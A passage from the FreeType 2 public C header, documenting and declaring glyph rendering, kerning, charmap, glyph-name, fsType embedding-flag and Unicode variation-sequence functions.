performed on the character size given in */ /* the last call to @FT_Set_Char_Size or @FT_Set_Pixel_Sizes. */ /* */ /* Note that this also transforms the `face.glyph.advance' field, but */ /* *not* the values in `face.glyph.metrics'. */ /* */ FT_EXPORT( void ) FT_Set_Transform( FT_Face face, FT_Matrix* matrix, FT_Vector* delta ); /*************************************************************************/ /* */ /* <Enum> */ /* FT_Render_Mode */ /* */ /* <Description> */ /* Render modes supported by FreeType~2. Each mode corresponds to a */ /* specific type of scanline conversion performed on the outline. */ /* */ /* For bitmap fonts and embedded bitmaps the `bitmap->pixel_mode' */ /* field in the @FT_GlyphSlotRec structure gives the format of the */ /* returned bitmap. */ /* */ /* All modes except @FT_RENDER_MODE_MONO use 256 levels of opacity, */ /* indicating pixel coverage. Use linear alpha blending and gamma */ /* correction to correctly render non-monochrome glyph bitmaps onto a */ /* surface; see @FT_Render_Glyph. */ /* */ /* <Values> */ /* FT_RENDER_MODE_NORMAL :: */ /* Default render mode; it corresponds to 8-bit anti-aliased */ /* bitmaps. */ /* */ /* FT_RENDER_MODE_LIGHT :: */ /* This is equivalent to @FT_RENDER_MODE_NORMAL. It is only */ /* defined as a separate value because render modes are also used */ /* indirectly to define hinting algorithm selectors. See */ /* @FT_LOAD_TARGET_XXX for details. */ /* */ /* FT_RENDER_MODE_MONO :: */ /* This mode corresponds to 1-bit bitmaps (with 2~levels of */ /* opacity). */ /* */ /* FT_RENDER_MODE_LCD :: */ /* This mode corresponds to horizontal RGB and BGR subpixel */ /* displays like LCD screens. It produces 8-bit bitmaps that are */ /* 3~times the width of the original glyph outline in pixels, and */ /* which use the @FT_PIXEL_MODE_LCD mode. */ /* */ /* FT_RENDER_MODE_LCD_V :: */ /* This mode corresponds to vertical RGB and BGR subpixel displays */ /* (like PDA screens, rotated LCD displays, etc.). It produces */ /* 8-bit bitmaps that are 3~times the height of the original */ /* glyph outline in pixels and use the @FT_PIXEL_MODE_LCD_V mode. */ /* */ /* <Note> */ /* Should you define FT_CONFIG_OPTION_SUBPIXEL_RENDERING in your */ /* `ftoption.h', which enables patented ClearType-style rendering, */ /* the LCD-optimized glyph bitmaps should be filtered to reduce color */ /* fringes inherent to this technology. You can either set up LCD */ /* filtering with @FT_Library_SetLcdFilter or @FT_Face_Properties, */ /* or do the filtering yourself. The default FreeType LCD rendering */ /* technology does not require filtering. */ /* */ /* The selected render mode only affects vector glyphs of a font. */ /* Embedded bitmaps often have a different pixel mode like */ /* @FT_PIXEL_MODE_MONO. You can use @FT_Bitmap_Convert to transform */ /* them into 8-bit pixmaps. */ /* */ typedef enum FT_Render_Mode_ { FT_RENDER_MODE_NORMAL = 0, FT_RENDER_MODE_LIGHT, FT_RENDER_MODE_MONO, FT_RENDER_MODE_LCD, FT_RENDER_MODE_LCD_V, FT_RENDER_MODE_MAX } FT_Render_Mode; /* these constants are deprecated; use the corresponding */ /* `FT_Render_Mode' values instead */ #define ft_render_mode_normal FT_RENDER_MODE_NORMAL #define ft_render_mode_mono FT_RENDER_MODE_MONO /*************************************************************************/ /* */ /* <Function> */ /* FT_Render_Glyph */ /* */ /* <Description> */ /* Convert a given glyph image to a bitmap. It does so by inspecting */ /* the glyph image format, finding the relevant renderer, and */ /* invoking it. */ /* */ /* <InOut> */ /* slot :: A handle to the glyph slot containing the image to */ /* convert. */ /* */ /* <Input> */ /* render_mode :: The render mode used to render the glyph image into */ /* a bitmap. See @FT_Render_Mode for a list of */ /* possible values. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* To get meaningful results, font scaling values must be set with */ /* functions like @FT_Set_Char_Size before calling `FT_Render_Glyph'. */ /* */ /* When FreeType outputs a bitmap of a glyph, it really outputs an */ /* alpha coverage map. If a pixel is completely covered by a */ /* filled-in outline, the bitmap contains 0xFF at that pixel, meaning */ /* that 0xFF/0xFF fraction of that pixel is covered, meaning the */ /* pixel is 100% black (or 0% bright). If a pixel is only 50% */ /* covered (value 0x80), the pixel is made 50% black (50% bright or a */ /* middle shade of grey). 0% covered means 0% black (100% bright or */ /* white). */ /* */ /* On high-DPI screens like on smartphones and tablets, the pixels */ /* are so small that their chance of being completely covered and */ /* therefore completely black are fairly good. On the low-DPI */ /* screens, however, the situation is different. The pixels are too */ /* large for most of the details of a glyph and shades of gray are */ /* the norm rather than the exception. */ /* */ /* This is relevant because all our screens have a second problem: */ /* they are not linear. 1~+~1 is not~2. Twice the value does not */ /* result in twice the brightness. When a pixel is only 50% covered, */ /* the coverage map says 50% black, and this translates to a pixel */ /* value of 128 when you use 8~bits per channel (0-255). However, */ /* this does not translate to 50% brightness for that pixel on our */ /* sRGB and gamma~2.2 screens. Due to their non-linearity, they */ /* dwell longer in the darks and only a pixel value of about 186 */ /* results in 50% brightness -- 128 ends up too dark on both bright */ /* and dark backgrounds. The net result is that dark text looks */ /* burnt-out, pixely and blotchy on bright background, bright text */ /* too frail on dark backgrounds, and colored text on colored */ /* background (for example, red on green) seems to have dark halos or */ /* `dirt' around it. The situation is especially ugly for diagonal */ /* stems like in `w' glyph shapes where the quality of FreeType's */ /* anti-aliasing depends on the correct display of grays. On */ /* high-DPI screens where smaller, fully black pixels reign supreme, */ /* this doesn't matter, but on our low-DPI screens with all the gray */ /* shades, it does. 0% and 100% brightness are the same things in */ /* linear and non-linear space, just all the shades in-between */ /* aren't. */ /* */ /* The blending function for placing text over a background is */ /* */ /* { */ /* dst = alpha * src + (1 - alpha) * dst , */ /* } */ /* */ /* which is known as the OVER operator. */ /* */ /* To correctly composite an antialiased pixel of a glyph onto a */ /* surface, */ /* */ /* 1. take the foreground and background colors (e.g., in sRGB space) */ /* and apply gamma to get them in a linear space, */ /* */ /* 2. use OVER to blend the two linear colors using the glyph pixel */ /* as the alpha value (remember, the glyph bitmap is an alpha */ /* coverage bitmap), and */ /* */ /* 3. apply inverse gamma to the blended pixel and write it back to */ /* the image. */ /* */ /* Internal testing at Adobe found that a target inverse gamma of~1.8 */ /* for step~3 gives good results across a wide range of displays with */ /* an sRGB gamma curve or a similar one. */ /* */ /* This process can cost performance. There is an approximation that */ /* does not need to know about the background color; see */ /* https://bel.fi/alankila/lcd/ and */ /* https://bel.fi/alankila/lcd/alpcor.html for details. */ /* */ /* *ATTENTION*: Linear blending is even more important when dealing */ /* with subpixel-rendered glyphs to prevent color-fringing! A */ /* subpixel-rendered glyph must first be filtered with a filter that */ /* gives equal weight to the three color primaries and does not */ /* exceed a sum of 0x100, see section @lcd_filtering. Then the */ /* only difference to gray linear blending is that subpixel-rendered */ /* linear blending is done 3~times per pixel: red foreground subpixel */ /* to red background subpixel and so on for green and blue. */ /* */ FT_EXPORT( FT_Error ) FT_Render_Glyph( FT_GlyphSlot slot, FT_Render_Mode render_mode ); /*************************************************************************/ /* */ /* <Enum> */ /* FT_Kerning_Mode */ /* */ /* <Description> */ /* An enumeration to specify the format of kerning values returned by */ /* @FT_Get_Kerning. */ /* */ /* <Values> */ /* FT_KERNING_DEFAULT :: Return grid-fitted kerning distances in */ /* 26.6 fractional pixels. */ /* */ /* FT_KERNING_UNFITTED :: Return un-grid-fitted kerning distances in */ /* 26.6 fractional pixels. */ /* */ /* FT_KERNING_UNSCALED :: Return the kerning vector in original font */ /* units. */ /* */ /* <Note> */ /* FT_KERNING_DEFAULT returns full pixel values; it also makes */ /* FreeType heuristically scale down kerning distances at small ppem */ /* values so that they don't become too big. */ /* */ /* Both FT_KERNING_DEFAULT and FT_KERNING_UNFITTED use the current */ /* horizontal scaling factor (as set e.g. with @FT_Set_Char_Size) to */ /* convert font units to pixels. */ /* */ typedef enum FT_Kerning_Mode_ { FT_KERNING_DEFAULT = 0, FT_KERNING_UNFITTED, FT_KERNING_UNSCALED } FT_Kerning_Mode; /* these constants are deprecated; use the corresponding */ /* `FT_Kerning_Mode' values instead */ #define ft_kerning_default FT_KERNING_DEFAULT #define ft_kerning_unfitted FT_KERNING_UNFITTED #define ft_kerning_unscaled FT_KERNING_UNSCALED /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_Kerning */ /* */ /* <Description> */ /* Return the kerning vector between two glyphs of the same face. */ /* */ /* <Input> */ /* face :: A handle to a source face object. */ /* */ /* left_glyph :: The index of the left glyph in the kern pair. */ /* */ /* right_glyph :: The index of the right glyph in the kern pair. */ /* */ /* kern_mode :: See @FT_Kerning_Mode for more information. */ /* Determines the scale and dimension of the returned */ /* kerning vector. */ /* */ /* <Output> */ /* akerning :: The kerning vector. This is either in font units, */ /* fractional pixels (26.6 format), or pixels for */ /* scalable formats, and in pixels for fixed-sizes */ /* formats. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* Only horizontal layouts (left-to-right & right-to-left) are */ /* supported by this method. Other layouts, or more sophisticated */ /* kernings, are out of the scope of this API function -- they can be */ /* implemented through format-specific interfaces. */ /* */ /* Kerning for OpenType fonts implemented in a `GPOS' table is not */ /* supported; use @FT_HAS_KERNING to find out whether a font has data */ /* that can be extracted with `FT_Get_Kerning'. */ /* */ FT_EXPORT( FT_Error ) FT_Get_Kerning( FT_Face face, FT_UInt left_glyph, FT_UInt right_glyph, FT_UInt kern_mode, FT_Vector *akerning ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_Track_Kerning */ /* */ /* <Description> */ /* Return the track kerning for a given face object at a given size. */ /* */ /* <Input> */ /* face :: A handle to a source face object. */ /* */ /* point_size :: The point size in 16.16 fractional points. */ /* */ /* degree :: The degree of tightness. Increasingly negative */ /* values represent tighter track kerning, while */ /* increasingly positive values represent looser track */ /* kerning. Value zero means no track kerning. */ /* */ /* <Output> */ /* akerning :: The kerning in 16.16 fractional points, to be */ /* uniformly applied between all glyphs. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* Currently, only the Type~1 font driver supports track kerning, */ /* using data from AFM files (if attached with @FT_Attach_File or */ /* @FT_Attach_Stream). */ /* */ /* Only very few AFM files come with track kerning data; please refer */ /* to Adobe's AFM specification for more details. */ /* */ FT_EXPORT( FT_Error ) FT_Get_Track_Kerning( FT_Face face, FT_Fixed point_size, FT_Int degree, FT_Fixed* akerning ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_Glyph_Name */ /* */ /* <Description> */ /* Retrieve the ASCII name of a given glyph in a face. This only */ /* works for those faces where @FT_HAS_GLYPH_NAMES(face) returns~1. */ /* */ /* <Input> */ /* face :: A handle to a source face object. */ /* */ /* glyph_index :: The glyph index. */ /* */ /* buffer_max :: The maximum number of bytes available in the */ /* buffer. */ /* */ /* <Output> */ /* buffer :: A pointer to a target buffer where the name is */ /* copied to. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* An error is returned if the face doesn't provide glyph names or if */ /* the glyph index is invalid. In all cases of failure, the first */ /* byte of `buffer' is set to~0 to indicate an empty name. */ /* */ /* The glyph name is truncated to fit within the buffer if it is too */ /* long. The returned string is always zero-terminated. */ /* */ /* Be aware that FreeType reorders glyph indices internally so that */ /* glyph index~0 always corresponds to the `missing glyph' (called */ /* `.notdef'). */ /* */ /* This function always returns an error if the config macro */ /* `FT_CONFIG_OPTION_NO_GLYPH_NAMES' is not defined in `ftoption.h'. */ /* */ FT_EXPORT( FT_Error ) FT_Get_Glyph_Name( FT_Face face, FT_UInt glyph_index, FT_Pointer buffer, FT_UInt buffer_max ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_Postscript_Name */ /* */ /* <Description> */ /* Retrieve the ASCII PostScript name of a given face, if available. */ /* This only works with PostScript, TrueType, and OpenType fonts. */ /* */ /* <Input> */ /* face :: A handle to the source face object. */ /* */ /* <Return> */ /* A pointer to the face's PostScript name. NULL if unavailable. */ /* */ /* <Note> */ /* The returned pointer is owned by the face and is destroyed with */ /* it. */ /* */ /* For variation fonts, this string changes if you select a different */ /* instance, and you have to call `FT_Get_PostScript_Name' again to */ /* retrieve it. FreeType follows Adobe TechNote #5902, `Generating */ /* PostScript Names for Fonts Using OpenType Font Variations'. */ /* */ /* https://download.macromedia.com/pub/developer/opentype/tech-notes/5902.AdobePSNameGeneration.html */ /* */ /* [Since 2.9] Special PostScript names for named instances are only */ /* returned if the named instance is set with @FT_Set_Named_Instance */ /* (and the font has corresponding entries in its `fvar' table). If */ /* @FT_IS_VARIATION returns true, the algorithmically derived */ /* PostScript name is provided, not looking up special entries for */ /* named instances. */ /* */ FT_EXPORT( const char* ) FT_Get_Postscript_Name( FT_Face face ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Select_Charmap */ /* */ /* <Description> */ /* Select a given charmap by its encoding tag (as listed in */ /* `freetype.h'). */ /* */ /* <InOut> */ /* face :: A handle to the source face object. */ /* */ /* <Input> */ /* encoding :: A handle to the selected encoding. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* This function returns an error if no charmap in the face */ /* corresponds to the encoding queried here. */ /* */ /* Because many fonts contain more than a single cmap for Unicode */ /* encoding, this function has some special code to select the one */ /* that covers Unicode best (`best' in the sense that a UCS-4 cmap is */ /* preferred to a UCS-2 cmap). It is thus preferable to */ /* @FT_Set_Charmap in this case. */ /* */ FT_EXPORT( FT_Error ) FT_Select_Charmap( FT_Face face, FT_Encoding encoding ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Set_Charmap */ /* */ /* <Description> */ /* Select a given charmap for character code to glyph index mapping. */ /* */ /* <InOut> */ /* face :: A handle to the source face object. */ /* */ /* <Input> */ /* charmap :: A handle to the selected charmap. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* This function returns an error if the charmap is not part of */ /* the face (i.e., if it is not listed in the `face->charmaps' */ /* table). */ /* */ /* It also fails if an OpenType type~14 charmap is selected (which */ /* doesn't map character codes to glyph indices at all). */ /* */ FT_EXPORT( FT_Error ) FT_Set_Charmap( FT_Face face, FT_CharMap charmap ); /************************************************************************* * * @function: * FT_Get_Charmap_Index * * @description: * Retrieve index of a given charmap. * * @input: * charmap :: * A handle to a charmap. * * @return: * The index into the array of character maps within the face to which * `charmap' belongs. If an error occurs, -1 is returned. * */ FT_EXPORT( FT_Int ) FT_Get_Charmap_Index( FT_CharMap charmap ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_Char_Index */ /* */ /* <Description> */ /* Return the glyph index of a given character code. This function */ /* uses the currently selected charmap to do the mapping. */ /* */ /* <Input> */ /* face :: A handle to the source face object. */ /* */ /* charcode :: The character code. */ /* */ /* <Return> */ /* The glyph index. 0~means `undefined character code'. */ /* */ /* <Note> */ /* If you use FreeType to manipulate the contents of font files */ /* directly, be aware that the glyph index returned by this function */ /* doesn't always correspond to the internal indices used within the */ /* file. This is done to ensure that value~0 always corresponds to */ /* the `missing glyph'. If the first glyph is not named `.notdef', */ /* then for Type~1 and Type~42 fonts, `.notdef' will be moved into */ /* the glyph ID~0 position, and whatever was there will be moved to */ /* the position `.notdef' had. For Type~1 fonts, if there is no */ /* `.notdef' glyph at all, then one will be created at index~0 and */ /* whatever was there will be moved to the last index -- Type~42 */ /* fonts are considered invalid under this condition. */ /* */ FT_EXPORT( FT_UInt ) FT_Get_Char_Index( FT_Face face, FT_ULong charcode ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_First_Char */ /* */ /* <Description> */ /* Return the first character code in the current charmap of a given */ /* face, together with its corresponding glyph index. */ /* */ /* <Input> */ /* face :: A handle to the source face object. */ /* */ /* <Output> */ /* agindex :: Glyph index of first character code. 0~if charmap is */ /* empty. */ /* */ /* <Return> */ /* The charmap's first character code. */ /* */ /* <Note> */ /* You should use this function together with @FT_Get_Next_Char to */ /* parse all character codes available in a given charmap. The code */ /* should look like this: */ /* */ /* { */ /* FT_ULong charcode; */ /* FT_UInt gindex; */ /* */ /* */ /* charcode = FT_Get_First_Char( face, &gindex ); */ /* while ( gindex != 0 ) */ /* { */ /* ... do something with (charcode,gindex) pair ... */ /* */ /* charcode = FT_Get_Next_Char( face, charcode, &gindex ); */ /* } */ /* } */ /* */ /* Be aware that character codes can have values up to 0xFFFFFFFF; */ /* this might happen for non-Unicode or malformed cmaps. However, */ /* even with regular Unicode encoding, so-called `last resort fonts' */ /* (using SFNT cmap format 13, see function @FT_Get_CMap_Format) */ /* normally have entries for all Unicode characters up to 0x1FFFFF, */ /* which can cause *a lot* of iterations. */ /* */ /* Note that `*agindex' is set to~0 if the charmap is empty. The */ /* result itself can be~0 in two cases: if the charmap is empty or */ /* if the value~0 is the first valid character code. */ /* */ FT_EXPORT( FT_ULong ) FT_Get_First_Char( FT_Face face, FT_UInt *agindex ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_Next_Char */ /* */ /* <Description> */ /* Return the next character code in the current charmap of a given */ /* face following the value `char_code', as well as the corresponding */ /* glyph index. */ /* */ /* <Input> */ /* face :: A handle to the source face object. */ /* */ /* char_code :: The starting character code. */ /* */ /* <Output> */ /* agindex :: Glyph index of next character code. 0~if charmap */ /* is empty. */ /* */ /* <Return> */ /* The charmap's next character code. */ /* */ /* <Note> */ /* You should use this function with @FT_Get_First_Char to walk */ /* over all character codes available in a given charmap. See the */ /* note for that function for a simple code example. */ /* */ /* Note that `*agindex' is set to~0 when there are no more codes in */ /* the charmap. */ /* */ FT_EXPORT( FT_ULong ) FT_Get_Next_Char( FT_Face face, FT_ULong char_code, FT_UInt *agindex ); /************************************************************************* * * @function: * FT_Face_Properties * * @description: * Set or override certain (library or module-wide) properties on a * face-by-face basis. Useful for finer-grained control and avoiding * locks on shared structures (threads can modify their own faces as * they see fit). * * Contrary to @FT_Property_Set, this function uses @FT_Parameter so * that you can pass multiple properties to the target face in one call. * Note that only a subset of the available properties can be * controlled. * * * @FT_PARAM_TAG_STEM_DARKENING (stem darkening, corresponding to the * property `no-stem-darkening' provided by the `autofit', `cff', * `type1', and `t1cid' modules; see @no-stem-darkening). * * * @FT_PARAM_TAG_LCD_FILTER_WEIGHTS (LCD filter weights, corresponding * to function @FT_Library_SetLcdFilterWeights). * * * @FT_PARAM_TAG_RANDOM_SEED (seed value for the CFF, Type~1, and CID * `random' operator, corresponding to the `random-seed' property * provided by the `cff', `type1', and `t1cid' modules; see * @random-seed). * * Pass NULL as `data' in @FT_Parameter for a given tag to reset the * option and use the library or module default again. * * @input: * face :: * A handle to the source face object. * * num_properties :: * The number of properties that follow. * * properties :: * A handle to an @FT_Parameter array with `num_properties' elements. * * @return: * FreeType error code. 0~means success. * * @note: * Here an example that sets three properties. You must define * FT_CONFIG_OPTION_SUBPIXEL_RENDERING to make the LCD filter examples * work. * * { * FT_Parameter property1; * FT_Bool darken_stems = 1; * * FT_Parameter property2; * FT_LcdFiveTapFilter custom_weight = * { 0x11, 0x44, 0x56, 0x44, 0x11 }; * * FT_Parameter property3; * FT_Int32 random_seed = 314159265; * * FT_Parameter properties[3] = { property1, * property2, * property3 }; * * * property1.tag = FT_PARAM_TAG_STEM_DARKENING; * property1.data = &darken_stems; * * property2.tag = FT_PARAM_TAG_LCD_FILTER_WEIGHTS; * property2.data = custom_weight; * * property3.tag = FT_PARAM_TAG_RANDOM_SEED; * property3.data = &random_seed; * * FT_Face_Properties( face, 3, properties ); * } * * The next example resets a single property to its default value. * * { * FT_Parameter property; * * * property.tag = FT_PARAM_TAG_LCD_FILTER_WEIGHTS; * property.data = NULL; * * FT_Face_Properties( face, 1, &property ); * } * * @since: * 2.8 * */ FT_EXPORT( FT_Error ) FT_Face_Properties( FT_Face face, FT_UInt num_properties, FT_Parameter* properties ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_Name_Index */ /* */ /* <Description> */ /* Return the glyph index of a given glyph name. */ /* */ /* <Input> */ /* face :: A handle to the source face object. */ /* */ /* glyph_name :: The glyph name. */ /* */ /* <Return> */ /* The glyph index. 0~means `undefined character code'. */ /* */ FT_EXPORT( FT_UInt ) FT_Get_Name_Index( FT_Face face, FT_String* glyph_name ); /************************************************************************* * * @macro: * FT_SUBGLYPH_FLAG_XXX * * @description: * A list of constants describing subglyphs. Please refer to the * `glyf' table description in the OpenType specification for the * meaning of the various flags (which get synthesized for * non-OpenType subglyphs). * * @values: * FT_SUBGLYPH_FLAG_ARGS_ARE_WORDS :: * FT_SUBGLYPH_FLAG_ARGS_ARE_XY_VALUES :: * FT_SUBGLYPH_FLAG_ROUND_XY_TO_GRID :: * FT_SUBGLYPH_FLAG_SCALE :: * FT_SUBGLYPH_FLAG_XY_SCALE :: * FT_SUBGLYPH_FLAG_2X2 :: * FT_SUBGLYPH_FLAG_USE_MY_METRICS :: * */ #define FT_SUBGLYPH_FLAG_ARGS_ARE_WORDS 1 #define FT_SUBGLYPH_FLAG_ARGS_ARE_XY_VALUES 2 #define FT_SUBGLYPH_FLAG_ROUND_XY_TO_GRID 4 #define FT_SUBGLYPH_FLAG_SCALE 8 #define FT_SUBGLYPH_FLAG_XY_SCALE 0x40 #define FT_SUBGLYPH_FLAG_2X2 0x80 #define FT_SUBGLYPH_FLAG_USE_MY_METRICS 0x200 /************************************************************************* * * @func: * FT_Get_SubGlyph_Info * * @description: * Retrieve a description of a given subglyph. Only use it if * `glyph->format' is @FT_GLYPH_FORMAT_COMPOSITE; an error is * returned otherwise. * * @input: * glyph :: * The source glyph slot. * * sub_index :: * The index of the subglyph. Must be less than * `glyph->num_subglyphs'. * * @output: * p_index :: * The glyph index of the subglyph. * * p_flags :: * The subglyph flags, see @FT_SUBGLYPH_FLAG_XXX. * * p_arg1 :: * The subglyph's first argument (if any). * * p_arg2 :: * The subglyph's second argument (if any). * * p_transform :: * The subglyph transformation (if any). * * @return: * FreeType error code. 0~means success. * * @note: * The values of `*p_arg1', `*p_arg2', and `*p_transform' must be * interpreted depending on the flags returned in `*p_flags'. See the * OpenType specification for details. * */ FT_EXPORT( FT_Error ) FT_Get_SubGlyph_Info( FT_GlyphSlot glyph, FT_UInt sub_index, FT_Int *p_index, FT_UInt *p_flags, FT_Int *p_arg1, FT_Int *p_arg2, FT_Matrix *p_transform ); /*************************************************************************/ /* */ /* <Enum> */ /* FT_FSTYPE_XXX */ /* */ /* <Description> */ /* A list of bit flags used in the `fsType' field of the OS/2 table */ /* in a TrueType or OpenType font and the `FSType' entry in a */ /* PostScript font. These bit flags are returned by */ /* @FT_Get_FSType_Flags; they inform client applications of embedding */ /* and subsetting restrictions associated with a font. */ /* */ /* See */ /* https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/FontPolicies.pdf */ /* for more details. */ /* */ /* <Values> */ /* FT_FSTYPE_INSTALLABLE_EMBEDDING :: */ /* Fonts with no fsType bit set may be embedded and permanently */ /* installed on the remote system by an application. */ /* */ /* FT_FSTYPE_RESTRICTED_LICENSE_EMBEDDING :: */ /* Fonts that have only this bit set must not be modified, embedded */ /* or exchanged in any manner without first obtaining permission of */ /* the font software copyright owner. */ /* */ /* FT_FSTYPE_PREVIEW_AND_PRINT_EMBEDDING :: */ /* The font may be embedded and temporarily loaded on the remote */ /* system. Documents containing Preview & Print fonts must be */ /* opened `read-only'; no edits can be applied to the document. */ /* */ /* FT_FSTYPE_EDITABLE_EMBEDDING :: */ /* The font may be embedded but must only be installed temporarily */ /* on other systems. In contrast to Preview & Print fonts, */ /* documents containing editable fonts may be opened for reading, */ /* editing is permitted, and changes may be saved. */ /* */ /* FT_FSTYPE_NO_SUBSETTING :: */ /* The font may not be subsetted prior to embedding. */ /* */ /* FT_FSTYPE_BITMAP_EMBEDDING_ONLY :: */ /* Only bitmaps contained in the font may be embedded; no outline */ /* data may be embedded. If there are no bitmaps available in the */ /* font, then the font is unembeddable. */ /* */ /* <Note> */ /* The flags are ORed together, thus more than a single value can be */ /* returned. */ /* */ /* While the `fsType' flags can indicate that a font may be embedded, */ /* a license with the font vendor may be separately required to use */ /* the font in this way. */ /* */ #define FT_FSTYPE_INSTALLABLE_EMBEDDING 0x0000 #define FT_FSTYPE_RESTRICTED_LICENSE_EMBEDDING 0x0002 #define FT_FSTYPE_PREVIEW_AND_PRINT_EMBEDDING 0x0004 #define FT_FSTYPE_EDITABLE_EMBEDDING 0x0008 #define FT_FSTYPE_NO_SUBSETTING 0x0100 #define FT_FSTYPE_BITMAP_EMBEDDING_ONLY 0x0200 /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_FSType_Flags */ /* */ /* <Description> */ /* Return the `fsType' flags for a font. */ /* */ /* <Input> */ /* face :: A handle to the source face object. */ /* */ /* <Return> */ /* The `fsType' flags, see @FT_FSTYPE_XXX. */ /* */ /* <Note> */ /* Use this function rather than directly reading the `fs_type' field */ /* in the @PS_FontInfoRec structure, which is only guaranteed to */ /* return the correct results for Type~1 fonts. */ /* */ /* <Since> */ /* 2.3.8 */ /* */ FT_EXPORT( FT_UShort ) FT_Get_FSType_Flags( FT_Face face ); /*************************************************************************/ /* */ /* <Section> */ /* glyph_variants */ /* */ /* <Title> */ /* Unicode Variation Sequences */ /* */ /* <Abstract> */ /* The FreeType~2 interface to Unicode Variation Sequences (UVS), */ /* using the SFNT cmap format~14. */ /* */ /* <Description> */ /* Many characters, especially for CJK scripts, have variant forms. */ /* They are a sort of grey area somewhere between being totally */ /* irrelevant and semantically distinct; for this reason, the Unicode */ /* consortium decided to introduce Variation Sequences (VS), */ /* consisting of a Unicode base character and a variation selector */ /* instead of further extending the already huge number of */ /* characters. */ /* */ /* Unicode maintains two different sets, namely `Standardized */ /* Variation Sequences' and registered `Ideographic Variation */ /* Sequences' (IVS), collected in the `Ideographic Variation */ /* Database' (IVD). */ /* */ /* https://unicode.org/Public/UCD/latest/ucd/StandardizedVariants.txt */ /* https://unicode.org/reports/tr37/ */ /* https://unicode.org/ivd/ */ /* */ /* To date (January 2017), the character with the most ideographic */ /* variations is U+9089, having 32 such IVS. */ /* */ /* Three Mongolian Variation Selectors have the values U+180B-U+180D; */ /* 256 generic Variation Selectors are encoded in the ranges */ /* U+FE00-U+FE0F and U+E0100-U+E01EF. IVS currently use Variation */ /* Selectors from the range U+E0100-U+E01EF only. */ /* */ /* A VS consists of the base character value followed by a single */ /* Variation Selector. For example, to get the first variation of */ /* U+9089, you have to write the character sequence `U+9089 U+E0100'. */ /* */ /* Adobe and MS decided to support both standardized and ideographic */ /* VS with a new cmap subtable (format~14). It is an odd subtable */ /* because it is not a mapping of input code points to glyphs, but */ /* contains lists of all variations supported by the font. */ /* */ /* A variation may be either `default' or `non-default' for a given */ /* font. A default variation is the one you will get for that code */ /* point if you look it up in the standard Unicode cmap. A */ /* non-default variation is a different glyph. */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Function> */ /* FT_Face_GetCharVariantIndex */ /* */ /* <Description> */ /* Return the glyph index of a given character code as modified by */ /* the variation selector. */ /* */ /* <Input> */ /* face :: */ /* A handle to the source face object. */ /* */ /* charcode :: */ /* The character code point in Unicode. */ /* */ /* variantSelector :: */ /* The Unicode code point of the variation selector. */ /* */ /* <Return> */ /* The glyph index. 0~means either `undefined character code', or */ /* `undefined selector code', or `no variation selector cmap */ /* subtable', or `current CharMap is not Unicode'. */ /* */ /* <Note> */ /* If you use FreeType to manipulate the contents of font files */ /* directly, be aware that the glyph index returned by this function */ /* doesn't always correspond to the internal indices used within */ /* the file. This is done to ensure that value~0 always corresponds */ /* to the `missing glyph'. */ /* */ /* This function is only meaningful if */ /* a) the font has a variation selector cmap sub table, */ /* and */ /* b) the current charmap has a Unicode encoding. */ /* */ /* <Since> */ /* 2.3.6 */ /* */ FT_EXPORT( FT_UInt ) FT_Face_GetCharVariantIndex( FT_Face face, FT_ULong charcode, FT_ULong variantSelector ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Face_GetCharVariantIsDefault */ /* */ /* <Description> */ /* Check whether this variation of this Unicode character is the one */ /* to be found in the `cmap'. */ /* */ /* <Input> */ /* face :: */ /* A handle to the source face object. */ /* */ /* charcode :: */ /* The character codepoint in Unicode. */ /* */ /* variantSelector :: */ /* The Unicode codepoint of the variation selector. */ /* */ /* <Return> */ /* 1~if found in the standard (Unicode) cmap, 0~if found in the */ /* variation selector cmap, or -1 if it is not a variation. */ /* */ /* <Note> */ /* This function is only meaningful if the font has a variation */ /* selector cmap subtable. */ /* */ /* <Since> */ /* 2.3.6 */ /* */ FT_EXPORT( FT_Int ) FT_Face_GetCharVariantIsDefault( FT_Face face, FT_ULong charcode, FT_ULong variantSelector ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Face_GetVariantSelectors */ /* */ /* <Description> */ /* Return a zero-terminated list of Unicode variation selectors found */ /* in the font. */ /* */ /* <Input> */ /* face :: */ /* A handle to the source face object. */ /* */ /* <Return> */ /* A pointer to an array of selector code points, or NULL if there is */ /* no valid variation selector cmap subtable. */ /* */ /* <Note> */ /* The last item in the array is~0; the array is owned by the */ /* @FT_Face object but can be overwritten or released on the next */ /* call to a FreeType function. */ /* */ /* <Since> */ /* 2.3.6 */ /* */ FT_EXPORT( FT_UInt32* ) FT_Face_GetVariantSelectors( FT_Face face ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Face_GetVariantsOfChar */ /* */ /* <Description> */ /* Return a zero-terminated list of Unicode variation selectors found */ /* for the specified character code. */ /* */ /* <Input> */ /* face :: */ /* A handle to the source face object. */ /* */ /* charcode :: */ /* The character codepoint in Unicode. */ /* */ /* <Return> */ /* A pointer to an array of variation selector code points that are */ /* active for the given character, or NULL if the corresponding list */ /* is empty. */ /* */ /* <Note> */ /* The last item in the array is~0; the array is owned by the */ /* @FT_Face object but can be overwritten or released on the next */ /* call to a FreeType function. */ /* */ /* <Since> */ /* 2.3.6 */ /* */ FT_EXPORT( FT_UInt32* ) FT_Face_GetVariantsOfChar( FT_Face face, FT_ULong charcode ); /*************************************************************************/ /* */ /* <Function> */ /* 